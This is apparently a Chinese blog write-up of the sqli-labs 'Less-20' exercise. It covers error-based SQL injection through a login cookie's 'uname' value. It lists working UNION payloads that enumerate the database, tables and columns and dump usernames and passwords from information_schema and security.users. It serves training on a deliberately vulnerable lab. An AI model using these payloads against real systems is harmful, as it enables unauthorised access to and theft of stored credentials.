• 利用cookie进行SQL注入——看来还是人工注入要熟悉才行


        Less-20

        基于错误的cookie头部POST注入

    首先从已知的条件中我们知道这又是一道“头部注入”,那么我们先输入正确的用户名和密码看一下登录成功是什么样子的:

            回显有User-Agent、IP这样从当次Request直接获取的,
            也有Cookie这样刷新页面后仍存在的,
            还有登录用户的id、username、password。
            最下方是删除Cookie的按钮,点击后刷新到初始界面。

    从题意中我们大致可推断出注入点在cookie上:(查看后台核心源码:)

       
    可以看到查询语句查询变量$cookee,且是单引号字符型,那么我们就在cookie里注入:
    我们先查看一下请求头中的cookie值,我们可以有很多方法查看:

            burpsuite抓包,看响应头
            Chrome插件Edit This Cookie查看,存储的Cookie信息:
            浏览器,按F12,在“网络”中查看,看响应头

    1.burpsuite抓包过程:

    2.Chrome插件Edit This Cookie查看,存储的Cookie信息:(没用过,截取别人的)

    可以看到只存储了uname这一个字段的信息,且是明文存储。
    修改Cookie后刷新界面:

    3.F12查看

    从上面的操作中,可知操作流程:

            登陆后将uname写入Cookie。
            在每次Request (GET / POST)页面时后台判断Cookie是否存在,若不存在则为登录界面;若存在则读取Cookie中字段uname。
            在数据库中按username查询,若用户存在则将查询到用户id、username、password回显;若不存在…

        可以判断出注入点就在Cookie处,但是这里注入有三种途径:

            用Chrome插件EditThisCookie修改本地Cookie文件注入。
            用Firefox浏览器插件HackBar修改本地Cookie文件注入(这个并不是很好用,不推荐用)。
            用Burpsuite修改登陆(POST)成功后刷新时GET请求头中的Cookie值注入,这种方式不会修改本地的Cookie文件。

    这里演示第二个途径:
    我们得出后台根据Cookie中的uname查询用户的所有信息,即这是个SELECT语句,我们可以使用最简单的UNION注入。
    1.判断字符型 / 数字型注入
    爆出语法错误,看得出来就是单引号型;
    2.判断字段数与回显字段

    uname=Dumb' order by 4 -- #

    uname=1' union select 1,2,3 -- #

        PS:

        关于获取字段的小技巧:我们从后台源码中,一般只要看到 select * from 表名,一般是要猜这个表里的所有字段,然后进行注入,如果是 select username,password from 表名,这种形式的可以直接利用2个字段,作为语句的注入字段。

    3.暴库:

    uname=1' union select 1,2,database() -- #

    暴表:

    uname=1' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='security' -- #

    暴字段:

    uname=1' union select 1,2,group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users' -- #

    暴数据:(这两种其实是一样的)

    uname=1' union select 1,2,group_concat(username,0x7e,password)from security.users -- #

    uname=1' union select 1,2,group_concat(concat_ws('-',id,username,password)) from users# -- #

    上面就是简单的基于报错的注入

  • 相关阅读:
    48. Rotate Image
    83. Remove Duplicates from Sorted List
    46. Permutations
    HTML5笔记
    18. 4Sum
    24. Swap Nodes in Pairs
    42. Trapping Rain Water
    Python modf() 函数
    Python min() 函数
    Python max() 函数
  • 原文地址:https://www.cnblogs.com/bonelee/p/14883286.html
Copyright © 2020-2023  润新知